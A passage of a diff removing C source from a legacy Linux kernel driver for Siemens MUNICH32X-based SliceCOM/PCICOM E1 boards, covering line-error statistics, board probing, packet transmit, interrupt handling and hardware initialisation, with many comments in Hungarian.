- curr_int->path_code_violations += path_code_violations; - curr_int->e_bit_errors += e_bit_errors; - - /* Performance Defects: */ - - /* there was an LFA in the last second, but maybe disappeared: */ - out_of_frame_defect = (isr2 & ISR2_LFA) || (frs0 & FRS0_LFA); - - /* there was an AIS in the last second, but maybe disappeared: */ - ais_defect = (isr2 & ISR2_AIS) || (frs0 & FRS0_AIS); - - /* Performance Parameters: */ - - if (out_of_frame_defect) - curr_int->fr_loss_secs++; - if (code_violations) - curr_int->line_err_secs++; - - errored_sec = ((board->framing == SLICECOM_FRAMING_NO_CRC4) && - (code_violations)) || path_code_violations || - out_of_frame_defect || slip_detected || ais_defect; - - bursty_err_sec = !out_of_frame_defect && !ais_defect && - (path_code_violations > 1) && (path_code_violations < 320); - - switch (board->framing) - { - case SLICECOM_FRAMING_CRC4: - severely_err_sec = out_of_frame_defect || - (path_code_violations >= 832); - break; - case SLICECOM_FRAMING_NO_CRC4: - severely_err_sec = (code_violations >= 2048); - break; - } - - /* - * failure_sec: true if there was a condition leading to a failure - * (and leading to unavailable state) in this second: - */ - - failure_sec = (isr2 & ISR2_RA) || (frs0 & FRS0_RRA) /* Remote/Far End/Distant Alarm Failure */ - || ais_defect || out_of_frame_defect /* AIS or LOF Failure */ - || (isr2 & ISR2_LOS) || (frs0 & FRS0_LOS) /* Loss Of Signal Failure */ - || (board->loopback != SLICECOM_LOOPBACK_NONE); /* Loopback has been set */ - - if (board->is_unavailable) - { - if (severely_err_sec) - board->no_ses_seconds = 0; - else - board->no_ses_seconds++; - - if ((board->no_ses_seconds >= 10) && !failure_sec) - { - board->is_unavailable = 0; - board->ses_seconds = 0; - board->no_ses_seconds = 0; - } - } - else - { - if (severely_err_sec) - board->ses_seconds++; - else - board->ses_seconds = 0; - - if ((board->ses_seconds >= 10) || failure_sec) - { - board->is_unavailable = 1; - board->ses_seconds = 0; - board->no_ses_seconds = 0; - } - } - - if (board->is_unavailable) - curr_int->unavail_secs++; - else - { - if (slip_detected) - curr_int->slip_secs++; - curr_int->errored_secs += errored_sec; - curr_int->bursty_err_secs += bursty_err_sec; - curr_int->severely_err_secs += severely_err_sec; - } - - /* the RFC does not say clearly which errors to count here, we try to count bit errors */ - - if (!board->is_unavailable && !severely_err_sec) - { - board->deg_cumulated_errors += code_violations; - board->deg_elapsed_seconds++; - if (board->deg_elapsed_seconds >= 60) - { - if (board->deg_cumulated_errors >= 123) - curr_int->degraded_mins++; - board->deg_cumulated_errors = 0; - board->deg_elapsed_seconds = 0; - } - - } - - board->elapsed_seconds++; - if (board->elapsed_seconds >= 900) - { - board->current_interval = - (board->current_interval + 1) % SLICECOM_BOARD_INTERVALS_SIZE; - memset((void *)&board->intervals[board->current_interval], 0, - sizeof(e1_stats_t)); - board->elapsed_seconds = 0; - } - - spin_unlock_irqrestore(&mister_lock, flags); -} - -static void pcicom_modemline(unsigned long b) -{ - munich_board_t *board = (munich_board_t *) b; - struct net_device *dev = board->twins[0]; - struct comx_channel *ch = netdev_priv(dev); - unsigned long regs; - - regs = readl((void *)(&board->bar1[GPDATA])); - if ((ch->line_status & LINE_UP) && (regs & 0x0800)) - { - ch->line_status &= ~LINE_UP; - board->lineup = 0; - if (ch->LINE_status) - { - ch->LINE_status(dev, ch->line_status); - } - } - - if (!(ch->line_status & LINE_UP) && !(regs & 0x0800)) - { - ch->line_status |= LINE_UP; - board->lineup = 1; - if (ch->LINE_status) - { - ch->LINE_status(dev, ch->line_status); - } - } - - mod_timer((struct timer_list *)&board->modemline_timer, jiffies + HZ); -} - -/* - * Is it possible to transmit ? - * Called (may be called) by the protocol layer - */ - -static int MUNICH_txe(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw = ch->HW_privdata; - - return (hw->busy < TX_DESC_MAX - 1); -} - -/* - * Hw probe function. Detects all the boards in the system, - * and fills up slicecom_boards[] and pcicom_boards[] - * Returns 0 on success. - * We do not disable interrupts! - */ -static int munich_probe(void) -{ - struct pci_dev *pci; - int boardnum; - int slicecom_boardnum; - int pcicom_boardnum; - u32 *bar1; - u8 *lbi; - munich_board_t *board; - - for (boardnum = 0; boardnum < MAX_BOARDS; boardnum++) - { - pcicom_boards[boardnum].pci = 0; - pcicom_boards[boardnum].bar1 = 0; - pcicom_boards[boardnum].lbi = 0; - slicecom_boards[boardnum].pci = 0; - slicecom_boards[boardnum].bar1 = 0; - slicecom_boards[boardnum].lbi = 0; - } - - pci = NULL; - board = NULL; - slicecom_boardnum = 0; - pcicom_boardnum = 0; - - for (boardnum = 0; - boardnum < MAX_BOARDS && (pci = pci_find_device(PCI_VENDOR_ID_SIEMENS, - PCI_DEVICE_ID_SIEMENS_MUNICH32X, pci)); boardnum++) - { - if (pci_enable_device(pci)) - continue; - - printk("munich_probe: munich chip found, IRQ %d\n", pci->irq); - - bar1 = ioremap_nocache(pci->resource[0].start, 0x100); - lbi = ioremap_nocache(pci->resource[1].start, 0x100); - - if (bar1 && lbi) - { - pci_write_config_dword(pci, MUNICH_PCI_PCIRES, 0xe0000); - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - pci_write_config_dword(pci, MUNICH_PCI_PCIRES, 0); - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - /* check the type of the card */ - writel(LREG0_MAGIC, MUNICH_VIRT(LREG0)); - writel(LREG1_MAGIC, MUNICH_VIRT(LREG1)); - writel(LREG2_MAGIC, MUNICH_VIRT(LREG2)); - writel(LREG3_MAGIC, MUNICH_VIRT(LREG3)); - writel(LREG4_MAGIC, MUNICH_VIRT(LREG4)); - writel(LREG5_MAGIC, MUNICH_VIRT(LREG5)); - writel(LCONF_MAGIC2,MUNICH_VIRT(LCONF)); /* enable the DMSM */ - - if ((readb(lbi + VSTR) == 0x13) || (readb(lbi + VSTR) == 0x10)) - { - board = slicecom_boards + slicecom_boardnum; - sprintf((char *)board->devname, "slicecom%d", - slicecom_boardnum); - board->isx21 = 0; - slicecom_boardnum++; - } - else if ((readb(lbi + VSTR) == 0x6) || (readb(lbi + GIS) == 0x6)) - { - board = pcicom_boards + pcicom_boardnum; - sprintf((char *)board->devname, "pcicom%d", pcicom_boardnum); - board->isx21 = 1; - pcicom_boardnum++; - } - if (board) - { - printk("munich_probe: %s board found\n", board->devname); - writel(LCONF_MAGIC1, MUNICH_VIRT(LCONF)); /* reset the DMSM */ - board->pci = pci; - board->bar1 = bar1; - board->lbi = lbi; - board->framing = SLICECOM_FRAMING_DEFAULT; - board->linecode = SLICECOM_LINECODE_DEFAULT; - board->clock_source = SLICECOM_CLOCK_SOURCE_DEFAULT; - board->loopback = SLICECOM_LOOPBACK_DEFAULT; - board->owner = THIS_MODULE; - } - else - { - printk("munich_probe: Board error, VSTR: %02X\n", - readb(lbi + VSTR)); - iounmap((void *)bar1); - iounmap((void *)lbi); - } - } - else - { - printk("munich_probe: ioremap() failed, not enabling this board!\n"); - /* .pci = NULL, so the MUNICH_open will not try to open it */ - if (bar1) iounmap((void *)bar1); - if (lbi) iounmap((void *)lbi); - } - } - - if (!pci && !boardnum) - { - printk("munich_probe: no PCI present!\n"); - return -ENODEV; - } - - if (pcicom_boardnum + slicecom_boardnum == 0) - { - printk - ("munich_probe: Couldn't find any munich board: vendor:device %x:%x not found\n", - PCI_VENDOR_ID_SIEMENS, PCI_DEVICE_ID_SIEMENS_MUNICH32X); - return -ENODEV; - } - - /* Found some */ - if (pcicom_boardnum) - printk("%d pcicom board(s) found.\n", pcicom_boardnum); - if (slicecom_boardnum) - printk("%d slicecom board(s) found.\n", slicecom_boardnum); - - return 0; -} - -/* - * Reset the hardware. Get called only from within this module if needed. - */ -#if 0 -static int slicecom_reset(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - - printk("slicecom_reset: resetting the hardware\n"); - - /* Begin to reset the hardware */ - - if (ch->HW_set_clock) - ch->HW_set_clock(dev); - - /* And finish it */ - - return 0; -} -#endif - -/* - * Transmit a packet. - * Called by the protocol layer - * Return values: - * FRAME_ACCEPTED: frame is being transmited, transmitter is busy - * FRAME_QUEUED: frame is being transmitted, there's more room in - * the transmitter for additional packet(s) - * FRAME_ERROR: - * FRAME_DROPPED: there was some error - */ - -static int MUNICH_send_packet(struct net_device *dev, struct sk_buff *skb) -{ - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw = ch->HW_privdata; - - /* Send it to the debug facility too if needed: */ - - if (ch->debug_flags & DEBUG_HW_TX) - comx_debug_bytes(dev, skb->data, skb->len, "MUNICH_send_packet"); - - /* If the line is inactive, don't accept: */ - - /* TODO: atgondolni hogy mi is legyen itt */ - /* if (!(ch->line_status & LINE_UP)) return FRAME_DROPPED; */ - - /* More check, to be sure: */ - - if (skb->len > TXBUFFER_SIZE) - { - ch->stats.tx_errors++; - kfree_skb(skb); - return FRAME_ERROR; - } - - /* Maybe you have to disable irq's while programming the hw: */ - - spin_lock_irqsave(&mister_lock, flags); - - /* And more check: */ - - if (hw->busy >= TX_DESC_MAX - 1) - { - printk(KERN_ERR - "%s: Transmitter called while busy... dropping frame, busy = %d\n", - dev->name, hw->busy); - spin_unlock_irqrestore(&mister_lock, flags); - kfree_skb(skb); - return FRAME_DROPPED; - } - - if (hw->busy >= 0) - hw->tx_ring_hist[hw->busy]++; - /* DELL: */ - else - printk("slicecom: %s: FATAL: busy = %d\n", dev->name, hw->busy); - -// /* DEL: */ -// printk("slicecom: %s: _send_packet called, busy = %d\n", dev->name, hw->busy ); - - /* Packet can go, update stats: */ - - ch->stats.tx_packets++; - ch->stats.tx_bytes += skb->len; - - /* Pass the packet to the HW: */ - /* Step forward with the transmit descriptors: */ - - hw->tx_desc_ptr = (hw->tx_desc_ptr + 1) % TX_DESC_MAX; - - memcpy(&(hw->tx_data[hw->tx_desc_ptr][0]), skb->data, skb->len); - hw->tx_desc[hw->tx_desc_ptr].no = skb->len; - - /* We don't issue any command, just step with the HOLD bit */ - - hw->tx_desc[hw->tx_desc_ptr].hold = 1; - hw->tx_desc[(hw->tx_desc_ptr + TX_DESC_MAX - 1) % TX_DESC_MAX].hold = 0; - -#ifdef COMX_NEW - dev_kfree_skb(skb); -#endif - /* csomag kerult a Tx ringbe: */ - - hw->busy++; - - /* Report it: */ - - if (ch->debug_flags & DEBUG_HW_TX) - comx_debug(dev, "%s: MUNICH_send_packet was successful\n\n", dev->name); - - if (hw->busy >= TX_DESC_MAX - 1) - { - spin_unlock_irqrestore(&mister_lock, flags); - return FRAME_ACCEPTED; - } - - spin_unlock_irqrestore(&mister_lock, flags); - - /* All done */ - - return FRAME_QUEUED; -} - -/* - * Interrupt handler routine. - * Called by the Linux kernel. - * BEWARE! The interrupts are enabled on the call! - */ -static irqreturn_t MUNICH_interrupt(int irq, void *dev_id, struct pt_regs *regs) -{ - struct sk_buff *skb; - int length; - int rx_status; - int work; /* hany esemenyt kezeltem mar le */ - u32 *bar1; - u8 *lbi; - u32 stat, /* az esemenyek, amiket a ebben a loop korben le kell meg kezelni */ - race_stat = 0, /* race eseten ebben uzenek magamnak hogy mit kell meg lekezelni */ - ack; /* ezt fogom a vegen a STAT-ba irni, kiveszek belole 1-1 bitet ha */ - - /* az adott dolgot nem kell ack-olni mert volt vele munkam, es */ - /* legjobb ha visszaterek ide megegyszer */ - munich_intq_t int_info; - - struct net_device *dev; - struct comx_channel *ch; - struct slicecom_privdata *hw; - munich_board_t *board = (munich_board_t *) dev_id; - int channel; - - // , boardnum = (int)dev_id; - - // board = munich_boards + boardnum; - bar1 = board->bar1; - lbi = board->lbi; - - // Do not uncomment this under heavy load! :-> - // printk("MUNICH_interrupt: masked STAT=0x%08x, tiq=0x%08x, riq=0x%08x, piq=0x%08x\n", stat, board->tiq[0].all, board->riq[0].all, board->piq[0].all ); - - for (work = 0; (stat = (race_stat | (readl(MUNICH_VIRT(STAT)) & ~STAT_NOT_HANDLED_BY_INTERRUPT))) && (work < MAX_WORK - 1); work++) - { - ack = stat & (STAT_PRI | STAT_PTI | STAT_LBII); - - /* Handle the interrupt information in the Rx queue. We don't really trust */ - /* info from this queue, because it can be overflowed, so later check */ - /* every Rx ring for received packets. But there are some errors which can't */ - /* be counted from the Rx rings, so we parse it. */ - - int_info = board->riq[board->riq_ptr]; - if (int_info.all & 0xF0000000) /* ha ez nem 0, akkor itt interrupt_info van */ - { - ack &= ~STAT_PRI; /* don't ack the interrupt, we had some work to do */ - - channel = PCM_INT_CHANNEL(int_info.all); - dev = board->twins[channel]; - - if (dev == NULL) - { - printk - ("MUNICH_interrupt: got an Rx interrupt info for NULL device " - "%s.twins[%d], int_info = 0x%08x\n", board->devname, - channel, int_info.all); - goto go_for_next_interrupt; - } - - ch = netdev_priv(dev); - hw = (struct slicecom_privdata *)ch->HW_privdata; - - // printk("Rx STAT=0x%08x int_info=0x%08x rx_desc_ptr=%d rx_desc.status=0x%01x\n", - // stat, int_info.all, hw->rx_desc_ptr, hw->rx_desc[ hw->rx_desc_ptr ].status ); - - if (int_info.all & PCM_INT_HI) - printk("SliceCOM: %s: Host Initiated interrupt\n", dev->name); - if (int_info.all & PCM_INT_IFC) - printk("SliceCOM: %s: Idle/Flag Change\n", dev->name); - /* TOD: jo ez az Idle/Flag Change valamire? - azonnal latszik belole hogy mikor ad a masik oldal */ - /* TOD: ilyen IT most nem is jon, mert ki van maszkolva az interrupt, biztosan kell ez? */ - - if (int_info.all & PCM_INT_FO) - /* Internal buffer (RB) overrun */ - ch->stats.rx_over_errors++; /* TOD: Ez azt jelenti hogy a belso RB nem volt hozzaferheto, es ezert kihagyott valamit. De nem csak csomag lehetett, hanem esemeny, stb. is. lasd page 247. Ezzel a 'cat status'-hoz igazodok, de a netdevice.h szerint nem egyertelmu hogy ide ez kellene. Nem lehet hogy rx_missed ? */ - /* DE: nem gotozok sehova, elvileg jo igy */ - /* kesobb meg visszaterek az FO-ra, ha packet-FO volt. Keresd a "packet-FO"-t. */ - if (int_info.all & PCM_INT_FI) /* frame received, but we do not trust the int_info queue */ - if (int_info.all & PCM_INT_SF) - { /* Short Frame: rovidebb mint a CRC */ - /* "rovidebb mint CRC+2byte" vizsgalat a "CRC+2"-nel */ - ch->stats.rx_length_errors++; /* TOD: noveljem? ne noveljem? */ - goto go_for_next_interrupt; - } - - go_for_next_interrupt: /* One step in the interrupt queue */ - board->riq[board->riq_ptr].all = 0; /* megjelolom hogy itt meg nem jart a hw */ - board->riq_ptr = (board->riq_ptr + 1) % MUNICH_INTQMAX; - - } - - /* Check every Rx ring for incomed packets: */ - - for (channel = 0; channel < 32; channel++) - { - dev = board->twins[channel]; - - if (dev != NULL) - { - ch = netdev_priv(dev); - hw = (struct slicecom_privdata *)ch->HW_privdata; - - rx_status = hw->rx_desc[hw->rx_desc_ptr].status; - - if (!(rx_status & 0x80)) /* mar jart itt a hardver */ - { - ack &= ~STAT_PRI; /* Don't ack, we had some work */ - - /* Ez most egy kicsit zuros, mert itt mar nem latom az int_infot */ - if (rx_status & RX_STATUS_ROF) - ch->stats.rx_over_errors++; /* TOD: 'cat status'-hoz igazodok */ - - if (rx_status & RX_STATUS_RA) - /* Abort received or issued on channel */ - ch->stats.rx_frame_errors++; /* or HOLD bit in the descriptor */ - /* TOD: 'cat status'-hoz igazodok */ - - if (rx_status & RX_STATUS_LFD) - { /* Long Frame (longer then MFL in the MODE1) */ - ch->stats.rx_length_errors++; - goto go_for_next_frame; - } - - if (rx_status & RX_STATUS_NOB) - { /* Not n*8 bits long frame - frame alignment */ - ch->stats.rx_frame_errors++; /* ez viszont nem igazodik a 'cat status'-hoz */ - goto go_for_next_frame; - } - - if (rx_status & RX_STATUS_CRCO) - { /* CRC error */ - ch->stats.rx_crc_errors++; - goto go_for_next_frame; - } - - if (rx_status & RX_STATUS_SF) - { /* Short Frame: rovidebb mint CRC+2byte */ - ch->stats.rx_errors++; /* The HW does not set PCI_INT_ERR bit for this one, see page 246 */ - ch->stats.rx_length_errors++; - goto go_for_next_frame; - } - - if (rx_status != 0) - { - printk("SliceCOM: %s: unhandled rx_status: 0x%02x\n", - dev->name, rx_status); - goto go_for_next_frame; - } - - /* frame received without errors: */ - - length = hw->rx_desc[hw->rx_desc_ptr].bno; - ch->stats.rx_packets++; /* Count only 'good' packets */ - ch->stats.rx_bytes += length; - - /* Allocate a larger skb and reserve the heading for efficiency: */ - - if ((skb = dev_alloc_skb(length + 16)) == NULL) - { - ch->stats.rx_dropped++; - goto go_for_next_frame; - } - - /* Do bookkeeping: */ - - skb_reserve(skb, 16); - skb_put(skb, length); - skb->dev = dev; - - /* Now copy the data into the buffer: */ - - memcpy(skb->data, &(hw->rx_data[hw->rx_desc_ptr][0]), length); - - /* DEL: UGLY HACK!!!! */ - if (*((int *)skb->data) == 0x02000000 && - *(((int *)skb->data) + 1) == 0x3580008f) - { - printk("%s: swapping hack\n", dev->name); - *((int *)skb->data) = 0x3580008f; - *(((int *)skb->data) + 1) = 0x02000000; - } - - if (ch->debug_flags & DEBUG_HW_RX) - comx_debug_skb(dev, skb, "MUNICH_interrupt receiving"); - - /* Pass it to the protocol entity: */ - - ch->LINE_rx(dev, skb); - - go_for_next_frame: - /* DEL: rafutott-e a HOLD bitre -detektalas */ - { - if( ((rx_desc_t*)phys_to_virt(board->ccb->current_rx_desc[channel]))->hold - && ((rx_desc_t*)phys_to_virt(board->ccb->current_rx_desc[channel]))->status != 0xff) - hw->rafutott++; /* rafutott: hanyszor volt olyan hogy a current descriptoron HOLD bit volt, es a hw mar befejezte az irast (azaz a hw rafutott a HOLD bitre) */ - } - - // if( jiffies % 2 ) /* DELL: okozzunk egy kis Rx ring slipet :) */ - // { - /* Step forward with the receive descriptors: */ - /* if you change this, change the copy of it below too! Search for: "RxSlip" */ - hw->rx_desc[(hw->rx_desc_ptr + RX_DESC_MAX - 1) % RX_DESC_MAX].hold = 1; - hw->rx_desc[hw->rx_desc_ptr].status = 0xFF; /* megjelolom hogy itt meg nem jart a hw */ - hw->rx_desc[(hw->rx_desc_ptr + RX_DESC_MAX - 2) % RX_DESC_MAX].hold = 0; - hw->rx_desc_ptr = (hw->rx_desc_ptr + 1) % RX_DESC_MAX; - // } - } - } - } - - stat &= ~STAT_PRI; - -// } - -// if( stat & STAT_PTI ) /* TOD: primko megvalositas: mindig csak egy esemenyt dolgozok fel, */ - /* es nem torlom a STAT-ot, ezert ujra visszajon ide a rendszer. Amikor */ - /* jon interrupt, de nincs mit feldolgozni, akkor torlom a STAT-ot. */ - /* 'needs a rewrite', de elso megoldasnak jo lesz */ -// { - int_info = board->tiq[board->tiq_ptr]; - if (int_info.all & 0xF0000000) /* ha ez nem 0, akkor itt interrupt_info van */ - { - ack &= ~STAT_PTI; /* don't ack the interrupt, we had some work to do */ - - channel = PCM_INT_CHANNEL(int_info.all); - dev = board->twins[channel]; - - if (dev == NULL) - { - printk("MUNICH_interrupt: got a Tx interrupt for NULL device " - "%s.twins[%d], int_info = 0x%08x\n", - board->isx21 ? "pcicom" : "slicecom", channel, int_info.all); - goto go_for_next_tx_interrupt; - } - - ch = netdev_priv(dev); - hw = (struct slicecom_privdata *)ch->HW_privdata; - - // printk("Tx STAT=0x%08x int_info=0x%08x tiq_ptr=%d\n", stat, int_info.all, board->tiq_ptr ); - - if (int_info.all & PCM_INT_FE2) - { /* "Tx available" */ - /* do nothing */ - } - else if (int_info.all & PCM_INT_FO) - { /* Internal buffer (RB) overrun */ - ch->stats.rx_over_errors++; - } - else - { - printk("slicecom: %s: unhandled Tx int_info: 0x%08x\n", - dev->name, int_info.all); - } - - go_for_next_tx_interrupt: - board->tiq[board->tiq_ptr].all = 0; - board->tiq_ptr = (board->tiq_ptr + 1) % MUNICH_INTQMAX; - } - - /* Check every Tx ring for incoming packets: */ - - for (channel = 0; channel < 32; channel++) - { - dev = board->twins[channel]; - - if (dev != NULL) - { - int newbusy; - - ch = netdev_priv(dev); - hw = (struct slicecom_privdata *)ch->HW_privdata; - - /* We don't trust the "Tx available" info from the TIQ, but check */ - /* every ring if there is some free room */ - - if (ch->init_status && netif_running(dev)) - { - newbusy = ( TX_DESC_MAX + (& hw->tx_desc[ hw->tx_desc_ptr ]) - - (tx_desc_t*)phys_to_virt(board->ccb->current_tx_desc[ hw->channel ]) ) % TX_DESC_MAX; - - if(newbusy < 0) - { - printk("slicecom: %s: FATAL: fresly computed busy = %d, HW: 0x%p, SW: 0x%p\n", - dev->name, newbusy, - phys_to_virt(board->ccb->current_tx_desc[hw->channel]), - & hw->tx_desc[hw->tx_desc_ptr]); - } - - /* Fogyott valami a Tx ringbol? */ - - if (newbusy < hw->busy) - { - // ack &= ~STAT_PTI; /* Don't ack, we had some work */ - hw->busy = newbusy; - if (ch->LINE_tx) - ch->LINE_tx(dev); /* Report it to protocol driver */ - } - else if (newbusy > hw->busy) - printk("slicecom: %s: newbusy > hw->busy, this should not happen!\n", dev->name); - } - } - } - stat &= ~STAT_PTI; - - int_info = board->piq[board->piq_ptr]; - if (int_info.all & 0xF0000000) /* ha ez nem 0, akkor itt interrupt_info van */ - { - ack &= ~STAT_LBII; /* don't ack the interrupt, we had some work to do */ - - /* We do not really use (yet) the interrupt info from this queue, */ - - // printk("slicecom: %s: LBI Interrupt event: %08x\n", board->devname, int_info.all); - - if (!board->isx21) - { - slicecom_update_leds(board); - slicecom_update_line_counters(board); - } - - goto go_for_next_lbi_interrupt; /* To avoid warning about unused label */ - - go_for_next_lbi_interrupt: /* One step in the interrupt queue */ - board->piq[board->piq_ptr].all = 0; /* megjelolom hogy itt meg nem jart a hw */ - board->piq_ptr = (board->piq_ptr + 1) % MUNICH_PIQMAX; - } - stat &= ~STAT_LBII; - - writel(ack, MUNICH_VIRT(STAT)); - - if (stat & STAT_TSPA) - { - // printk("slicecom: %s: PCM TSP Asynchronous\n", board->devname); - writel(STAT_TSPA, MUNICH_VIRT(STAT)); - stat &= ~STAT_TSPA; - } - - if (stat & STAT_RSPA) - { - // printk("slicecom: %s: PCM RSP Asynchronous\n", board->devname); - writel(STAT_RSPA, MUNICH_VIRT(STAT)); - stat &= ~STAT_RSPA; - } - if (stat) - { - printk("MUNICH_interrupt: unhandled interrupt, STAT=0x%08x\n", - stat); - writel(stat, MUNICH_VIRT(STAT)); /* ha valamit megsem kezeltunk le, azert ack-ot kuldunk neki */ - } - - } - board->histogram[work]++; - - /* We can miss these if we reach the MAX_WORK */ - /* Count it to see how often it happens */ - - if (race_stat & STAT_PRI) - board->stat_pri_races_missed++; - if (race_stat & STAT_PTI) - board->stat_pti_races_missed++; - return IRQ_HANDLED; -} - -/* - * Hardware open routine. - * Called by comx (upper) layer when the user wants to bring up the interface - * with ifconfig. - * Initializes hardware, allocates resources etc. - * Returns 0 on OK, or standard error value on error. - */ - -static int MUNICH_open(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw = ch->HW_privdata; - struct proc_dir_entry *procfile = ch->procdir->subdir; - munich_board_t *board; - munich_ccb_t *ccb; - - u32 *bar1; - u8 *lbi; - u32 stat; - unsigned long flags, jiffs; - - int i, channel; - u32 timeslots = hw->timeslots; - - board = hw->boardnum + (ch->hardware == &pcicomhw ? pcicom_boards : slicecom_boards); - - bar1 = board->bar1; - lbi = board->lbi; - - /* TODO: a timeslotok ellenorzese kell majd ide .. hat, biztos? mar a write_proc-ban is - ellenorzom valamennyire. - if (!dev->io || !dev->irq) return -ENODEV; - */ - - if (!board->pci) - { - printk("MUNICH_open: no %s board with boardnum = %d\n", - ch->hardware->name, hw->boardnum); - return -ENODEV; - } - - spin_lock_irqsave(&mister_lock, flags); - /* lock the section to avoid race with multiple opens and make sure - that no interrupts get called while this lock is active */ - - if (board->use_count == 0) /* bring up the board if it was unused */ - /* if fails, frees allocated resources and returns. */ - /* TOD: is it safe? nem kellene resetelni a kartyat? */ - { - printk("MUNICH_open: %s: bringing up board\n", board->devname); - - /* Clean up the board's static struct if messed: */ - - for (i = 0; i < 32; i++) - board->twins[i] = NULL; - for (i = 0; i < MAX_WORK; i++) - board->histogram[i] = 0; - - board->lineup = 0; - - /* Allocate CCB: */ - board->ccb = kmalloc(sizeof(munich_ccb_t), GFP_KERNEL); - if (board->ccb == NULL) - { - spin_unlock_irqrestore(&mister_lock, flags); - return -ENOMEM; - } - memset((void *)board->ccb, 0, sizeof(munich_ccb_t)); - board->ccb->csa = virt_to_phys(board->ccb); - ccb = board->ccb; - for (i = 0; i < 32; i++) - { - ccb->timeslot_spec[i].tti = 1; - ccb->timeslot_spec[i].rti = 1; - } - - /* Interrupt queues: */ - - board->tiq = kmalloc(MUNICH_INTQSIZE, GFP_KERNEL); - if (board->tiq == NULL) - { - spin_unlock_irqrestore(&mister_lock, flags); - return -ENOMEM; - } - memset((void *)board->tiq, 0, MUNICH_INTQSIZE); - - board->riq = kmalloc(MUNICH_INTQSIZE, GFP_KERNEL); - if (board->riq == NULL) - { - spin_unlock_irqrestore(&mister_lock, flags); - return -ENOMEM; - } - memset((void *)board->riq, 0, MUNICH_INTQSIZE); - - board->piq = kmalloc(MUNICH_PIQSIZE, GFP_KERNEL); - if (board->piq == NULL) - { - spin_unlock_irqrestore(&mister_lock, flags); - return -ENOMEM; - } - memset((void *)board->piq, 0, MUNICH_PIQSIZE); - - board->tiq_ptr = 0; - board->riq_ptr = 0; - board->piq_ptr = 0; - - /* Request irq: */ - - board->irq = 0; - - /* (char*) cast to avoid warning about discarding volatile: */ - if (request_irq(board->pci->irq, MUNICH_interrupt, 0, - (char *)board->devname, (void *)board)) - { - printk("MUNICH_open: %s: unable to obtain irq %d\n", board->devname, - board->pci->irq); - /* TOD: free other resources (a sok malloc feljebb) */ - spin_unlock_irqrestore(&mister_lock, flags); - return -EAGAIN; - } - board->irq = board->pci->irq; /* csak akkor legyen != 0, ha tenyleg le van foglalva nekunk */ - - /* Programming device: */ - - /* Reset the board like a power-on: */ - /* TOD: - - It is not a real power-on: if a DMA transaction fails with master abort, the board - stays in half-dead state. - - It doesn't reset the FALC line driver */ - - pci_write_config_dword(board->pci, MUNICH_PCI_PCIRES, 0xe0000); - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - pci_write_config_dword(board->pci, MUNICH_PCI_PCIRES, 0); - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - - writel(virt_to_phys(&ccb->csa), MUNICH_VIRT(CCBA)); - writel(virt_to_phys( board->tiq ), MUNICH_VIRT(TIQBA)); - writel(MUNICH_INTQLEN, MUNICH_VIRT(TIQL)); - writel(virt_to_phys( board->riq ), MUNICH_VIRT(RIQBA)); - writel(MUNICH_INTQLEN, MUNICH_VIRT(RIQL)); - writel(virt_to_phys( board->piq ), MUNICH_VIRT(PIQBA)); - writel(MUNICH_PIQLEN, MUNICH_VIRT(PIQL)); - - /* Put the magic values into the registers: */ - - writel(MODE1_MAGIC, MUNICH_VIRT(MODE1)); - writel(MODE2_MAGIC, MUNICH_VIRT(MODE2)); - - writel(LREG0_MAGIC, MUNICH_VIRT(LREG0)); - writel(LREG1_MAGIC, MUNICH_VIRT(LREG1)); - writel(LREG2_MAGIC, MUNICH_VIRT(LREG2)); - writel(LREG3_MAGIC, MUNICH_VIRT(LREG3)); - writel(LREG4_MAGIC, MUNICH_VIRT(LREG4)); - writel(LREG5_MAGIC, MUNICH_VIRT(LREG5)); - - writel(LCONF_MAGIC1, MUNICH_VIRT(LCONF)); /* reset the DMSM */ - writel(LCONF_MAGIC2, MUNICH_VIRT(LCONF)); /* enable the DMSM */ - - writel(~0, MUNICH_VIRT(TXPOLL)); - writel(board->isx21 ? 0x1400 : 0xa000, MUNICH_VIRT(GPDIR)); - - if (readl(MUNICH_VIRT(STAT))) writel(readl(MUNICH_VIRT(STAT)), MUNICH_VIRT(STAT)); - - ccb->action_spec = CCB_ACTIONSPEC_RES | CCB_ACTIONSPEC_IA; - writel(CMD_ARPCM, MUNICH_VIRT(CMD)); /* Start the PCM core reset */ - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - - stat = 0; /* Wait for the action to complete max. 1 second */ - jiffs = jiffies; - while (!((stat = readl(MUNICH_VIRT(STAT))) & (STAT_PCMA | STAT_PCMF)) && time_before(jiffies, jiffs + HZ)) - { - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - } - - if (stat & STAT_PCMF) - { - printk(KERN_ERR - "MUNICH_open: %s: Initial ARPCM failed. STAT=0x%08x\n", - board->devname, stat); - writel(readl(MUNICH_VIRT(STAT)) & STAT_PCMF, MUNICH_VIRT(STAT)); - free_irq(board->irq, (void *)board); /* TOD: free other resources too *//* maybe shut down hw? */ - board->irq = 0; - spin_unlock_irqrestore(&mister_lock, flags); - return -EAGAIN; - } - else if (!(stat & STAT_PCMA)) - { - printk(KERN_ERR - "MUNICH_open: %s: Initial ARPCM timeout. STAT=0x%08x\n", - board->devname, stat); - free_irq(board->irq, (void *)board); /* TOD: free other resources too *//* maybe shut off the hw? */ - board->irq = 0; - spin_unlock_irqrestore(&mister_lock, flags); - return -EIO; - } - - writel(readl(MUNICH_VIRT(STAT)) & STAT_PCMA, MUNICH_VIRT(STAT)); /* Acknowledge */ - - if (board->isx21) writel(0, MUNICH_VIRT(GPDATA)); - - printk("MUNICH_open: %s: succesful HW-open took %ld jiffies\n", - board->devname, jiffies - jiffs); - - /* Set up the FALC hanging on the Local Bus: */ - - if (!board->isx21) - { - writeb(0x0e, lbi + FMR1); - writeb(0, lbi + LIM0); - writeb(0xb0, lbi + LIM1); /* TODO: input threshold */ - writeb(0xf7, lbi + XPM0); - writeb(0x02, lbi + XPM1); - writeb(0x00, lbi + XPM2); - writeb(0xf0, lbi + FMR0); - writeb(0x80, lbi + PCD); - writeb(0x80, lbi + 